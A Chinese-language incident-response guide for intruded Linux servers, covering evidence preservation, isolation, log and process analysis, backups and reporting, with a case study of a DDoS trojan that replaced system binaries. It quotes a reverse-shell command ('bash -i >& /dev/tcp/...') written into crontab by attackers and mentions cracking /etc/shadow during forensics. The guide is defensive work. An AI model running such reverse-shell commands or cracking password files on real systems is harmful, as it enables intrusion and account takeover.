图1将服务器安全应急响应流程分为发现安全事件（核实）、现场保护、服务器保护、影响范围评估、在线分析、数据备份、深入分析、事件报告整理等8个环节。接下来我们将每个环节分解，看看需要如何断开异常连接、排查入侵源头、避免二次入侵等。

一、核实信息（运维/安全人员）

根据安全事件通知源的不同，分为两种：

1. 外界通知：和报告人核实信息，确认服务器/系统是否被入侵。现在很多企业有自己的SRC（安全响应中心），在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。

2. 自行发现：根据服务器的异常或故障判断，比如对外发送大规模流量或者系统负载异常高等，这种情况一般是运维工程师发现并核实的。

二、现场保护（运维）

我们很多人看过大陆的电视剧《重案六组》，每次接到刑事案件，刑警们第一时间就是封锁现场、保存现场原状。同样道理，安全事件发生现场，跟刑事案件发生现场一样，需要保存第一现场重要信息，方便后面入侵检测和取证。

• 保存现场环境(截图)

相关信息采集命令如下：

进程信息：ps axu

网络信息：netstat –a

网络+进程：lsof / netstat -p

• 攻击者登陆情况(截图)

相关信息采集命令如下：

查看当前登录用户：w 或 who -a

三、服务器保护（运维/机房）

这里的现场保护和服务器保护是两个不同的环节，前者注重取证，后者注重环境隔离。

核实机器被入侵后，应当尽快将机器保护起来，避免被二次入侵或者当成跳板扩大攻击面。此时，为保护服务器和业务，避免服务器被攻击者继续利用，应尽快歉意业务，立即下线机器。

如果不能立即处理，应当通过配置网络ACL等方式，封掉该服务器对网络的双向连接。

四、影响范围评估（运维/开发）

一般是运维或者程序确认影响范围，需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露，如果是代码或者数据库泄露了，则需要程序评估危害情况与处置方法。

影响访问评估一般从下面几点入手来：

• 具体业务架构：web(php/java， webserver)， proxy， db等。

• IP及所处区域拓扑等：VLAN内服务器和应用情况；

• 确定同一网络下面服务器之间的访问：可以互相登陆，是否需要key或者是密码登录。

由此确定检查影响范围，确认所有受到影响的网段和机器。

五、在线分析（安全人员/运维）

这时需要根据个人经验快速在线分析，一般是安全人员和运维同时在线处理，不过会涉及多人协作的问题，需要避免多人操作机器时破坏服务器现场，造成分析困扰，之前笔者遇到一个类似的问题，就是运维排查时敲错了iptables的命令，将iptables -L敲成iptables -i导致iptables-save时出现异常记录，结果安全人员上来检查时就被这条记录迷惑了，导致处理思路受到一定干扰。

1、所有用户History日志检测

• 关键字：wget/curl， gcc， 或者隐藏文件， 敏感文件后缀（.c，.py，conf， .pl， .sh)；

• 检查是否存在异常用户；

• 检查最近添加的用户，是否有不知名用户或不规范提权；

• 找出root权限的用户；

可以执行以下命令检查：

grep -v -E "^#" /etc/passwd | awk -F： '$3 == 0 { print $1}'

2、反连木马判断

• netstat –a；

• 注意非正常端口的外网IP；

3、可疑进程判断

• 判断是否为木马      ps –aux

• 重点关注文件（隐藏文件）， python脚本，perl脚本，shell脚本（bash/sh/zsh）；

• 使用which，whereis，find定位

4、Crontab检测

不要用crontab –l查看crontab（绕过检测），也有通过写crontab配置文件反弹shell的，笔者接触过几次，一般都是使用的bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

5、系统日志检测

• 检查sshd服务配置文件/etc/ssh/sshd_config和系统认证日志auth、message，判断是否为口令破解攻击；

• /etc/ssh/sshd_config文件确认认证方式；

• 确认日志是否被删除或者清理过的可能（大小判断）；

• last/lastb可以作为辅助，不过可能不准确；

6、NHIDS正常运行判断

• 是否安装：ls /etc/ossec

• 是否运行正常：ps axu |grep nhids  三个nhids进程则表示正常

7、其他攻击分析

抓取网络数据包并进行分析，判断是否为拒绝服务攻击，这里需要注意，一定要使用-w参数，这样才能保存成pcap格式导入到wireshark，这样分析起来会事半功倍。

tcpdump -w tcpdump.log

六、安全相关的关键文件和数据备份（运维）

可以同步进行，使用sftp/rsync等将日志上传到安全的服务器。

1. 打包系统日志

   参考：$ tar -jcvf syslog.tar.bz2 /var/log

2. 打包web日志：access log

3. 打包history日志（所有用户），参考：

   $ cp /home/user/。history user_history

4. 打包crontab记录

5. 打包密码文件：/etc/passwd， /etc/shadow

6. 打包可疑文件、后门、shell信息

七、深入分析（安全人员）

初步锁定异常进程和恶意代码后，将受影响范围梳理清楚，封禁了入侵者对机器的控制后，接下来需要深入排查入侵原因。一般可以从webshell、开放端口服务等方向顺藤摸瓜。

1、Webshell入侵

• 使用webshell_check.py脚本检测web目录；

  $ python webshell_check.py /var/www/ >result.txt

• 查找web目录下所有nobody的文件，人工分析：

  $ find /var/www –user nobody >nobody.txt

• 如果能确定入侵时间，可以使用find查找最近时间段内变化的文件；

  $ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22"

  $ find / -ctime/-mtime 8

2、利用Web漏洞直接反连shell

分析access.log

• 缩小日志范围：时间，异常IP提取

• 攻击行为提取：常见的攻击exp识别

3、系统弱口令入侵

认证相关日志auth/syslog/message排查：

• 爆破行为定位和IP提取；

• 爆破是否成功确定：有爆破行为IP是否有accept记录。

如果日志已经被清理，使用工具（比如John the Ripper）爆破/etc/passwd，/etc/shadow。

4、其他入侵

其他服务器跳板到本机。

5、后续行为分析

• History日志：提权、增加后门，以及是否被清理。

• Sniffer： 网卡混杂模式检测  ifconfig |grep –i proc

• 内网扫描：网络nmap/扫描器，socks5代理

• 确定是否有rootkit：rkhunter， chkrootkit， ps/netstat替换确认

6、后门清理排查

• 根据时间点做关联分析：查找那个时间段的所有文件；

• 一些小技巧：/tmp目录， ls –la，查看所有文件，注意隐藏的文件；

• 根据用户做时间关联：比如nobody；

7、其他机器的关联操作

其他机器和这台机器的网络连接 （日志查看）、相同业务情况（同样业务，负载均衡）。

八、整理事件报告（安全人员）

事件报告应包含但不限于以下几个点：

• 分析事件发生原因：事件为什么会发生的原因；

• 分析整个攻击流程：时间点、操作；

• 分析事件处理过程：整个事件处理过程总结是否有不足；

• 分析事件预防：如何避免事情再次发生；

• 总结：总结事件原因，改进处理过程，预防类似事件再次发生。

九、处理中的遇到的比较棘手的事情

日志和操作记录全被删了怎么办?

strace 查看 losf 进程，再尝试恢复一下日志记录，不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了，dd硬盘数据再去还原出来。

系统账号密码都修改了，登不进去?

重启进单用户模式修改root密码，或者通过控制卡操作，或者直接还原系统。都搞不定就直接重装吧。

使用常见的入侵检测命令未发现异常进程，但是机器在对外发包，这是怎么回事？

这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换，可以通过md5sum对比本机二进制文件与正常机器的md5值是否一致，如果发现不一致，肯定是被替换了，可以从其他机器上拷贝命令到本机替换，或者alias为其他名称，避免为恶意程序再次替换。

被getshell怎么办？

• 漏洞修复前，系统立即下线，用内网环境访问。

• 上传点放到内网访问，不允许外网有类似的上传点，有上传点，而且没有校验文件类型很容易上传webshell。

• 被getshell的服务器中是否有敏感文件和数据库，如果有请检查是否有泄漏。

• hosts文件中对应的host关系需要重新配置，攻击者可以配置hosts来访问测试环境。

• 重装系统。

上面讲了很多思路的东西，相信大家更想看看实际案例，下面介绍两个案例。

先讲一个别人处理的，基本处理过程就是：

通过外部端口扫描收集开放端口信息，然后获取到反弹shell信息，登陆机器发现关键命令已经被替换，后面查看history记录，发现疑似木马文件，通过简单逆向和进程查看发现了异常进程，从而锁定了入侵原因。具体内容可以查看：http://www.freebuf.com/articles/system/50728.html

再讲一个笔者实际处理过的，基本处理流程跟上面提到的思路大同小异。

整个事情处理经过大致如下：

1、运维发现一台私有云主机间歇性的对外发送高达800Mbps的流量，影响了同一个网段的其他机器。

2、安全人员接到通知后，先确认了机器属于备机，没有跑在线业务，于是通知运维封禁iptables限制外网访问。

3、运维为安全人员临时开通机器权限，安全人员通过history和ps找到的入侵记录和异常进程锁定了对外大量发包的应用程序，清理了恶意进程并删除恶意程序。

恶意进程如下，经过在网络搜索发现是一种DDOS木马，但没有明确的处理思路：

/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673

处理过程中，安全人员怀疑系统文件被替换：

通过对比该机器与正常机器上面的ps、netstat等程序的大小发现敏感程序已经被替换，而且mtime也被修改。

正常机器

被入侵机器

将部分常用二进制文件修复后，发现异常进程被kill掉后仍重启了，于是安装杀毒软件clamav和rootkit hunter进行全盘扫描，从而确认了被感染的所有文件，将那些可以删除的文件删除后再次kill掉异常进程，则再没有重启的问题。

4、影响范围评估

由于该机器只是备机，上面没有敏感数据，于是信息泄露问题也就不存在了。

扫描同一网段机器端口开放情况、排查被入侵机器history是否有对外扫描或者入侵行为，为此还在该网段机器另外部署蜜罐进行监控。

5、深入分析入侵原因

通过被入侵机器所跑服务、iptables状态，确认是所跑服务支持远程命令执行，且机器iptables为空导致黑客通过往/etc/crontab中写“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式进行shell反弹，从而入侵了机器。

6、验证修复、机器下线重装

进行以上修复操作后，监控未发现再有异常，于是将机器下线重装。

7、完成安全事件处理报告

每次安全事件处理后，都应当整理成报告，不管是知识库的构建，还是统计分析安全态势，都是很有必要的。

这次主要介绍了服务器被入侵时推荐的一套处理思路。实际上，安全防护跟运维思路一样，都是要防患于未然，这时候的审计或者响应其实很难避免危害的发生了，我们更希望通过安全意识教育、安全制度的建设，在问题显露端倪时即可消弭于无形。